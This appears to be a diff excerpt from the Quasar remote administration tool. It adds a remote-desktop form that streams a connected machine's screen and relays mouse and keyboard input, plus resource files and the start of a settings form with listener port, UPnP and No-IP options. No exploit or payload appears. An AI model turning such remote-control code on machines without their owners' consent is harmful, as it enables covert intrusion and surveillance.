AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf/8CVar/AwAA
AAAAAAAAAAAAAG3a/gdOxPUaSLz4Kki2+CpHt/QZVdT/BgAAAAAAAAAAAAAAAFWq/wMAf38CAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//AgB/
/wIAAAAATLLyFD64+WI8vPqoPLv52zm6+PU3uvn5Nrj4+Tez9fQ4r/TYN6rxpTmk7l1Pn+8QAAAAAAB/
/wIAVaoDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWq
/wMAAAAASLb+Djux9H04tPfoOMH//y/B//4itf//Hq/8/yGt+P8hqvj/HKf4/x+p+v8sr//+M6n5/zKa
6eQ0lud1RYvQCwAAAABVqqoDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AQAA/wEAAAAA////A6r//wMAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAKr//wP///8DAAAAAAAA/wEAAP8BAAD/AQAA/wEAAP8BAAD/AX9/
/wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Af//
/wH///8Cv7//BL///wS///8E////A////wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA
AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA
AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8=
</value>
</data>
</root>
+240
View File
@@ -0,0 +1,240 @@
using Quasar.Server.Controls;
namespace Quasar.Server.Forms
{
partial class FrmRemoteDesktop
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRemoteDesktop));
this.btnStart = new System.Windows.Forms.Button();
this.btnStop = new System.Windows.Forms.Button();
this.barQuality = new System.Windows.Forms.TrackBar();
this.lblQuality = new System.Windows.Forms.Label();
this.lblQualityShow = new System.Windows.Forms.Label();
this.btnMouse = new System.Windows.Forms.Button();
this.panelTop = new System.Windows.Forms.Panel();
this.btnKeyboard = new System.Windows.Forms.Button();
this.cbMonitors = new System.Windows.Forms.ComboBox();
this.btnHide = new System.Windows.Forms.Button();
this.btnShow = new System.Windows.Forms.Button();
this.toolTipButtons = new System.Windows.Forms.ToolTip(this.components);
this.picDesktop = new RapidPictureBox();
((System.ComponentModel.ISupportInitialize)(this.barQuality)).BeginInit();
this.panelTop.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.picDesktop)).BeginInit();
this.SuspendLayout();
//
// btnStart
//
this.btnStart.Location = new System.Drawing.Point(15, 5);
this.btnStart.Name = "btnStart";
this.btnStart.Size = new System.Drawing.Size(68, 23);
this.btnStart.TabIndex = 1;
this.btnStart.TabStop = false;
this.btnStart.Text = "Start";
this.btnStart.UseVisualStyleBackColor = true;
this.btnStart.Click += new System.EventHandler(this.btnStart_Click);
//
// btnStop
//
this.btnStop.Enabled = false;
this.btnStop.Location = new System.Drawing.Point(96, 5);
this.btnStop.Name = "btnStop";
this.btnStop.Size = new System.Drawing.Size(68, 23);
this.btnStop.TabIndex = 2;
this.btnStop.TabStop = false;
this.btnStop.Text = "Stop";
this.btnStop.UseVisualStyleBackColor = true;
this.btnStop.Click += new System.EventHandler(this.btnStop_Click);
//
// barQuality
//
this.barQuality.Location = new System.Drawing.Point(206, -1);
this.barQuality.Maximum = 100;
this.barQuality.Minimum = 1;
this.barQuality.Name = "barQuality";
this.barQuality.Size = new System.Drawing.Size(76, 45);
this.barQuality.TabIndex = 3;
this.barQuality.TabStop = false;
this.barQuality.Value = 75;
this.barQuality.Scroll += new System.EventHandler(this.barQuality_Scroll);
//
// lblQuality
//
this.lblQuality.AutoSize = true;
this.lblQuality.Location = new System.Drawing.Point(167, 5);
this.lblQuality.Name = "lblQuality";
this.lblQuality.Size = new System.Drawing.Size(46, 13);
this.lblQuality.TabIndex = 4;
this.lblQuality.Text = "Quality:";
//
// lblQualityShow
//
this.lblQualityShow.AutoSize = true;
this.lblQualityShow.Location = new System.Drawing.Point(220, 26);
this.lblQualityShow.Name = "lblQualityShow";
this.lblQualityShow.Size = new System.Drawing.Size(52, 13);
this.lblQualityShow.TabIndex = 5;
this.lblQualityShow.Text = "75 (high)";
//
// btnMouse
//
this.btnMouse.Image = global::Quasar.Server.Properties.Resources.mouse_delete;
this.btnMouse.Location = new System.Drawing.Point(302, 5);
this.btnMouse.Name = "btnMouse";
this.btnMouse.Size = new System.Drawing.Size(28, 28);
this.btnMouse.TabIndex = 6;
this.btnMouse.TabStop = false;
this.toolTipButtons.SetToolTip(this.btnMouse, "Enable mouse input.");
this.btnMouse.UseVisualStyleBackColor = true;
this.btnMouse.Click += new System.EventHandler(this.btnMouse_Click);
//
// panelTop
//
this.panelTop.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
this.panelTop.Controls.Add(this.btnKeyboard);
this.panelTop.Controls.Add(this.cbMonitors);
this.panelTop.Controls.Add(this.btnHide);
this.panelTop.Controls.Add(this.lblQualityShow);
this.panelTop.Controls.Add(this.btnMouse);
this.panelTop.Controls.Add(this.btnStart);
this.panelTop.Controls.Add(this.btnStop);
this.panelTop.Controls.Add(this.lblQuality);
this.panelTop.Controls.Add(this.barQuality);
this.panelTop.Location = new System.Drawing.Point(189, -1);
this.panelTop.Name = "panelTop";
this.panelTop.Size = new System.Drawing.Size(384, 57);
this.panelTop.TabIndex = 7;
//
// btnKeyboard
//
this.btnKeyboard.Image = global::Quasar.Server.Properties.Resources.keyboard_delete;
this.btnKeyboard.Location = new System.Drawing.Point(336, 5);
this.btnKeyboard.Name = "btnKeyboard";
this.btnKeyboard.Size = new System.Drawing.Size(28, 28);
this.btnKeyboard.TabIndex = 9;
this.btnKeyboard.TabStop = false;
this.toolTipButtons.SetToolTip(this.btnKeyboard, "Enable keyboard input.");
this.btnKeyboard.UseVisualStyleBackColor = true;
this.btnKeyboard.Click += new System.EventHandler(this.btnKeyboard_Click);
//
// cbMonitors
//
this.cbMonitors.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
this.cbMonitors.FormattingEnabled = true;
this.cbMonitors.Location = new System.Drawing.Point(15, 30);
this.cbMonitors.Name = "cbMonitors";
this.cbMonitors.Size = new System.Drawing.Size(149, 21);
this.cbMonitors.TabIndex = 8;
this.cbMonitors.TabStop = false;
//
// btnHide
//
this.btnHide.Location = new System.Drawing.Point(170, 37);
this.btnHide.Name = "btnHide";
this.btnHide.Size = new System.Drawing.Size(54, 19);
this.btnHide.TabIndex = 7;
this.btnHide.TabStop = false;
this.btnHide.Text = "Hide";
this.btnHide.UseVisualStyleBackColor = true;
this.btnHide.Click += new System.EventHandler(this.btnHide_Click);
//
// btnShow
//
this.btnShow.Location = new System.Drawing.Point(0, 0);
this.btnShow.Name = "btnShow";
this.btnShow.Size = new System.Drawing.Size(54, 19);
this.btnShow.TabIndex = 8;
this.btnShow.TabStop = false;
this.btnShow.Text = "Show";
this.btnShow.UseVisualStyleBackColor = true;
this.btnShow.Visible = false;
this.btnShow.Click += new System.EventHandler(this.btnShow_Click);
//
// picDesktop
//
this.picDesktop.BackColor = System.Drawing.Color.Black;
this.picDesktop.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
this.picDesktop.Cursor = System.Windows.Forms.Cursors.Default;
this.picDesktop.Dock = System.Windows.Forms.DockStyle.Fill;
this.picDesktop.GetImageSafe = null;
this.picDesktop.Location = new System.Drawing.Point(0, 0);
this.picDesktop.Name = "picDesktop";
this.picDesktop.Running = false;
this.picDesktop.Size = new System.Drawing.Size(784, 562);
this.picDesktop.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.picDesktop.TabIndex = 0;
this.picDesktop.TabStop = false;
this.picDesktop.MouseDown += new System.Windows.Forms.MouseEventHandler(this.picDesktop_MouseDown);
this.picDesktop.MouseMove += new System.Windows.Forms.MouseEventHandler(this.picDesktop_MouseMove);
this.picDesktop.MouseUp += new System.Windows.Forms.MouseEventHandler(this.picDesktop_MouseUp);
//
// FrmRemoteDesktop
//
this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.ClientSize = new System.Drawing.Size(784, 562);
this.Controls.Add(this.btnShow);
this.Controls.Add(this.panelTop);
this.Controls.Add(this.picDesktop);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.KeyPreview = true;
this.MinimumSize = new System.Drawing.Size(640, 480);
this.Name = "FrmRemoteDesktop";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Remote Desktop []";
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRemoteDesktop_FormClosing);
this.Load += new System.EventHandler(this.FrmRemoteDesktop_Load);
this.Resize += new System.EventHandler(this.FrmRemoteDesktop_Resize);
((System.ComponentModel.ISupportInitialize)(this.barQuality)).EndInit();
this.panelTop.ResumeLayout(false);
this.panelTop.PerformLayout();
((System.ComponentModel.ISupportInitialize)(this.picDesktop)).EndInit();
this.ResumeLayout(false);
}
#endregion
private System.Windows.Forms.Button btnStart;
private System.Windows.Forms.Button btnStop;
private System.Windows.Forms.TrackBar barQuality;
private System.Windows.Forms.Label lblQuality;
private System.Windows.Forms.Label lblQualityShow;
private System.Windows.Forms.Button btnMouse;
private System.Windows.Forms.Panel panelTop;
private System.Windows.Forms.Button btnHide;
private System.Windows.Forms.Button btnShow;
private System.Windows.Forms.ComboBox cbMonitors;
private System.Windows.Forms.Button btnKeyboard;
private System.Windows.Forms.ToolTip toolTipButtons;
private Controls.RapidPictureBox picDesktop;
}
}
+475
View File
@@ -0,0 +1,475 @@
using Gma.System.MouseKeyHook;
using Quasar.Common.Enums;
using Quasar.Common.Helpers;
using Quasar.Common.Messages;
using Quasar.Server.Helper;
using Quasar.Server.Messages;
using Quasar.Server.Networking;
using Quasar.Server.Utilities;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Windows.Forms;
namespace Quasar.Server.Forms
{
public partial class FrmRemoteDesktop : Form
{
/// <summary>
/// States whether remote mouse input is enabled.
/// </summary>
private bool _enableMouseInput;
/// <summary>
/// States whether remote keyboard input is enabled.
/// </summary>
private bool _enableKeyboardInput;
/// <summary>
/// Holds the state of the local keyboard hooks.
/// </summary>
private IKeyboardMouseEvents _keyboardHook;
/// <summary>
/// Holds the state of the local mouse hooks.
/// </summary>
private IKeyboardMouseEvents _mouseHook;
/// <summary>
/// A list of pressed keys for synchronization between key down & -up events.
/// </summary>
private readonly List<Keys> _keysPressed;
/// <summary>
/// The client which can be used for the remote desktop.
/// </summary>
private readonly Client _connectClient;
/// <summary>
/// The message handler for handling the communication with the client.
/// </summary>
private readonly RemoteDesktopHandler _remoteDesktopHandler;
/// <summary>
/// Holds the opened remote desktop form for each client.
/// </summary>
private static readonly Dictionary<Client, FrmRemoteDesktop> OpenedForms = new Dictionary<Client, FrmRemoteDesktop>();
/// <summary>
/// Creates a new remote desktop form for the client or gets the current open form, if there exists one already.
/// </summary>
/// <param name="client">The client used for the remote desktop form.</param>
/// <returns>
/// Returns a new remote desktop form for the client if there is none currently open, otherwise creates a new one.
/// </returns>
public static FrmRemoteDesktop CreateNewOrGetExisting(Client client)
{
if (OpenedForms.ContainsKey(client))
{
return OpenedForms[client];
}
FrmRemoteDesktop r = new FrmRemoteDesktop(client);
r.Disposed += (sender, args) => OpenedForms.Remove(client);
OpenedForms.Add(client, r);
return r;
}
/// <summary>
/// Initializes a new instance of the <see cref="FrmRemoteDesktop"/> class using the given client.
/// </summary>
/// <param name="client">The client used for the remote desktop form.</param>
public FrmRemoteDesktop(Client client)
{
_connectClient = client;
_remoteDesktopHandler = new RemoteDesktopHandler(client);
_keysPressed = new List<Keys>();
RegisterMessageHandler();
InitializeComponent();
}
/// <summary>
/// Called whenever a client disconnects.
/// </summary>
/// <param name="client">The client which disconnected.</param>
/// <param name="connected">True if the client connected, false if disconnected</param>
private void ClientDisconnected(Client client, bool connected)
{
if (!connected)
{
this.Invoke((MethodInvoker)this.Close);
}
}
/// <summary>
/// Registers the remote desktop message handler for client communication.
/// </summary>
private void RegisterMessageHandler()
{
_connectClient.ClientState += ClientDisconnected;
_remoteDesktopHandler.DisplaysChanged += DisplaysChanged;
_remoteDesktopHandler.ProgressChanged += UpdateImage;
MessageHandler.Register(_remoteDesktopHandler);
}
/// <summary>
/// Unregisters the remote desktop message handler.
/// </summary>
private void UnregisterMessageHandler()
{
MessageHandler.Unregister(_remoteDesktopHandler);
_remoteDesktopHandler.DisplaysChanged -= DisplaysChanged;
_remoteDesktopHandler.ProgressChanged -= UpdateImage;
_connectClient.ClientState -= ClientDisconnected;
}
/// <summary>
/// Subscribes to local mouse and keyboard events for remote desktop input.
/// </summary>
private void SubscribeEvents()
{
// TODO: Check Hook.GlobalEvents vs Hook.AppEvents below
// TODO: Maybe replace library with .NET events like on Linux
if (PlatformHelper.RunningOnMono) // Mono/Linux
{
this.KeyDown += OnKeyDown;
this.KeyUp += OnKeyUp;
}
else // Windows
{
_keyboardHook = Hook.GlobalEvents();
_keyboardHook.KeyDown += OnKeyDown;
_keyboardHook.KeyUp += OnKeyUp;
_mouseHook = Hook.AppEvents();
_mouseHook.MouseWheel += OnMouseWheelMove;
}
}
/// <summary>
/// Unsubscribes from local mouse and keyboard events.
/// </summary>
private void UnsubscribeEvents()
{
if (PlatformHelper.RunningOnMono) // Mono/Linux
{
this.KeyDown -= OnKeyDown;
this.KeyUp -= OnKeyUp;
}
else // Windows
{
if (_keyboardHook != null)
{
_keyboardHook.KeyDown -= OnKeyDown;
_keyboardHook.KeyUp -= OnKeyUp;
_keyboardHook.Dispose();
}
if (_mouseHook != null)
{
_mouseHook.MouseWheel -= OnMouseWheelMove;
_mouseHook.Dispose();
}
}
}
/// <summary>
/// Starts the remote desktop stream and begin to receive desktop frames.
/// </summary>
private void StartStream()
{
ToggleConfigurationControls(true);
picDesktop.Start();
// Subscribe to the new frame counter.
picDesktop.SetFrameUpdatedEvent(frameCounter_FrameUpdated);
this.ActiveControl = picDesktop;
_remoteDesktopHandler.BeginReceiveFrames(barQuality.Value, cbMonitors.SelectedIndex);
}
/// <summary>
/// Stops the remote desktop stream.
/// </summary>
private void StopStream()
{
ToggleConfigurationControls(false);
picDesktop.Stop();
// Unsubscribe from the frame counter. It will be re-created when starting again.
picDesktop.UnsetFrameUpdatedEvent(frameCounter_FrameUpdated);
this.ActiveControl = picDesktop;
_remoteDesktopHandler.EndReceiveFrames();
}
/// <summary>
/// Toggles the activatability of configuration controls in the status/configuration panel.
/// </summary>
/// <param name="started">When set to <code>true</code> the configuration controls get enabled, otherwise they get disabled.</param>
private void ToggleConfigurationControls(bool started)
{
btnStart.Enabled = !started;
btnStop.Enabled = started;
barQuality.Enabled = !started;
cbMonitors.Enabled = !started;
}
/// <summary>
/// Toggles the visibility of the status/configuration panel.
/// </summary>
/// <param name="visible">Decides if the panel should be visible.</param>
private void TogglePanelVisibility(bool visible)
{
panelTop.Visible = visible;
btnShow.Visible = !visible;
this.ActiveControl = picDesktop;
}
/// <summary>
/// Called whenever the remote displays changed.
/// </summary>
/// <param name="sender">The message handler which raised the event.</param>
/// <param name="displays">The currently available displays.</param>
private void DisplaysChanged(object sender, int displays)
{
cbMonitors.Items.Clear();
for (int i = 0; i < displays; i++)
cbMonitors.Items.Add($"Display {i + 1}");
cbMonitors.SelectedIndex = 0;
}
/// <summary>
/// Updates the current desktop image by drawing it to the desktop picturebox.
/// </summary>
/// <param name="sender">The message handler which raised the event.</param>
/// <param name="bmp">The new desktop image to draw.</param>
private void UpdateImage(object sender, Bitmap bmp)
{
picDesktop.UpdateImage(bmp, false);
}
private void FrmRemoteDesktop_Load(object sender, EventArgs e)
{
this.Text = WindowHelper.GetWindowTitle("Remote Desktop", _connectClient);
OnResize(EventArgs.Empty); // trigger resize event to align controls
_remoteDesktopHandler.RefreshDisplays();
}
/// <summary>
/// Updates the title with the current frames per second.
/// </summary>
/// <param name="e">The new frames per second.</param>
private void frameCounter_FrameUpdated(FrameUpdatedEventArgs e)
{
this.Text = string.Format("{0} - FPS: {1}", WindowHelper.GetWindowTitle("Remote Desktop", _connectClient), e.CurrentFramesPerSecond.ToString("0.00"));
}
private void FrmRemoteDesktop_FormClosing(object sender, FormClosingEventArgs e)
{
// all cleanup logic goes here
UnsubscribeEvents();
if (_remoteDesktopHandler.IsStarted) StopStream();
UnregisterMessageHandler();
_remoteDesktopHandler.Dispose();
picDesktop.Image?.Dispose();
}
private void FrmRemoteDesktop_Resize(object sender, EventArgs e)
{
if (WindowState == FormWindowState.Minimized)
return;
_remoteDesktopHandler.LocalResolution = picDesktop.Size;
panelTop.Left = (this.Width - panelTop.Width) / 2;
btnShow.Left = (this.Width - btnShow.Width) / 2;
btnHide.Left = (panelTop.Width - btnHide.Width) / 2;
}
private void btnStart_Click(object sender, EventArgs e)
{
if (cbMonitors.Items.Count == 0)
{
MessageBox.Show("No remote display detected.\nPlease wait till the client sends a list with available displays.",
"Starting failed", MessageBoxButtons.OK, MessageBoxIcon.Warning);
return;
}
SubscribeEvents();
StartStream();
}
private void btnStop_Click(object sender, EventArgs e)
{
UnsubscribeEvents();
StopStream();
}
#region Remote Desktop Input
private void picDesktop_MouseDown(object sender, MouseEventArgs e)
{
if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus)
{
MouseAction action = MouseAction.None;
if (e.Button == MouseButtons.Left)
action = MouseAction.LeftDown;
if (e.Button == MouseButtons.Right)
action = MouseAction.RightDown;
int selectedDisplayIndex = cbMonitors.SelectedIndex;
_remoteDesktopHandler.SendMouseEvent(action, true, e.X, e.Y, selectedDisplayIndex);
}
}
private void picDesktop_MouseUp(object sender, MouseEventArgs e)
{
if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus)
{
MouseAction action = MouseAction.None;
if (e.Button == MouseButtons.Left)
action = MouseAction.LeftUp;
if (e.Button == MouseButtons.Right)
action = MouseAction.RightUp;
int selectedDisplayIndex = cbMonitors.SelectedIndex;
_remoteDesktopHandler.SendMouseEvent(action, false, e.X, e.Y, selectedDisplayIndex);
}
}
private void picDesktop_MouseMove(object sender, MouseEventArgs e)
{
if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus)
{
int selectedDisplayIndex = cbMonitors.SelectedIndex;
_remoteDesktopHandler.SendMouseEvent(MouseAction.MoveCursor, false, e.X, e.Y, selectedDisplayIndex);
}
}
private void OnMouseWheelMove(object sender, MouseEventArgs e)
{
if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus)
{
_remoteDesktopHandler.SendMouseEvent(e.Delta == 120 ? MouseAction.ScrollUp : MouseAction.ScrollDown,
false, 0, 0, cbMonitors.SelectedIndex);
}
}
private void OnKeyDown(object sender, KeyEventArgs e)
{
if (picDesktop.Image != null && _enableKeyboardInput && this.ContainsFocus)
{
if (!IsLockKey(e.KeyCode))
e.Handled = true;
if (_keysPressed.Contains(e.KeyCode))
return;
_keysPressed.Add(e.KeyCode);
_remoteDesktopHandler.SendKeyboardEvent((byte)e.KeyCode, true);
}
}
private void OnKeyUp(object sender, KeyEventArgs e)
{
if (picDesktop.Image != null && _enableKeyboardInput && this.ContainsFocus)
{
if (!IsLockKey(e.KeyCode))
e.Handled = true;
_keysPressed.Remove(e.KeyCode);
_remoteDesktopHandler.SendKeyboardEvent((byte)e.KeyCode, false);
}
}
private bool IsLockKey(Keys key)
{
return ((key & Keys.CapsLock) == Keys.CapsLock)
|| ((key & Keys.NumLock) == Keys.NumLock)
|| ((key & Keys.Scroll) == Keys.Scroll);
}
#endregion
#region Remote Desktop Configuration
private void barQuality_Scroll(object sender, EventArgs e)
{
int value = barQuality.Value;
lblQualityShow.Text = value.ToString();
if (value < 25)
lblQualityShow.Text += " (low)";
else if (value >= 85)
lblQualityShow.Text += " (best)";
else if (value >= 75)
lblQualityShow.Text += " (high)";
else if (value >= 25)
lblQualityShow.Text += " (mid)";
this.ActiveControl = picDesktop;
}
private void btnMouse_Click(object sender, EventArgs e)
{
if (_enableMouseInput)
{
this.picDesktop.Cursor = Cursors.Default;
btnMouse.Image = Properties.Resources.mouse_delete;
toolTipButtons.SetToolTip(btnMouse, "Enable mouse input.");
_enableMouseInput = false;
}
else
{
this.picDesktop.Cursor = Cursors.Hand;
btnMouse.Image = Properties.Resources.mouse_add;
toolTipButtons.SetToolTip(btnMouse, "Disable mouse input.");
_enableMouseInput = true;
}
this.ActiveControl = picDesktop;
}
private void btnKeyboard_Click(object sender, EventArgs e)
{
if (_enableKeyboardInput)
{
this.picDesktop.Cursor = Cursors.Default;
btnKeyboard.Image = Properties.Resources.keyboard_delete;
toolTipButtons.SetToolTip(btnKeyboard, "Enable keyboard input.");
_enableKeyboardInput = false;
}
else
{
this.picDesktop.Cursor = Cursors.Hand;
btnKeyboard.Image = Properties.Resources.keyboard_add;
toolTipButtons.SetToolTip(btnKeyboard, "Disable keyboard input.");
_enableKeyboardInput = true;
}
this.ActiveControl = picDesktop;
}
#endregion
private void btnHide_Click(object sender, EventArgs e)
{
TogglePanelVisibility(false);
}
private void btnShow_Click(object sender, EventArgs e)
{
TogglePanelVisibility(true);
}
}
}
+200
View File
@@ -0,0 +1,200 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<metadata name="toolTipButtons.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>17, 17</value>
</metadata>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAABMLAAATCwAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8BAP//AQD/
/wEAf/8CAH//AgD//wEA//8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA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UAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA
AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8=
</value>
</data>
</root>
+300
View File
@@ -0,0 +1,300 @@
namespace Quasar.Server.Forms
{
partial class FrmSettings
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmSettings));
this.btnSave = new System.Windows.Forms.Button();
this.lblPort = new System.Windows.Forms.Label();
this.ncPort = new System.Windows.Forms.NumericUpDown();
this.chkAutoListen = new System.Windows.Forms.CheckBox();
this.chkPopup = new System.Windows.Forms.CheckBox();
this.btnListen = new System.Windows.Forms.Button();
this.btnCancel = new System.Windows.Forms.Button();
this.chkUseUpnp = new System.Windows.Forms.CheckBox();
this.chkShowTooltip = new System.Windows.Forms.CheckBox();
this.chkNoIPIntegration = new System.Windows.Forms.CheckBox();
this.lblHost = new System.Windows.Forms.Label();
this.lblPass = new System.Windows.Forms.Label();
this.lblUser = new System.Windows.Forms.Label();
this.txtNoIPPass = new System.Windows.Forms.TextBox();
this.txtNoIPUser = new System.Windows.Forms.TextBox();
this.txtNoIPHost = new System.Windows.Forms.TextBox();
this.chkShowPassword = new System.Windows.Forms.CheckBox();
this.chkIPv6Support = new System.Windows.Forms.CheckBox();
((System.ComponentModel.ISupportInitialize)(this.ncPort)).BeginInit();
this.SuspendLayout();
//
// btnSave
//
this.btnSave.Location = new System.Drawing.Point(227, 298);
this.btnSave.Name = "btnSave";
this.btnSave.Size = new System.Drawing.Size(75, 23);
this.btnSave.TabIndex = 19;
this.btnSave.Text = "&Save";
this.btnSave.UseVisualStyleBackColor = true;
this.btnSave.Click += new System.EventHandler(this.btnSave_Click);
//
// lblPort
//
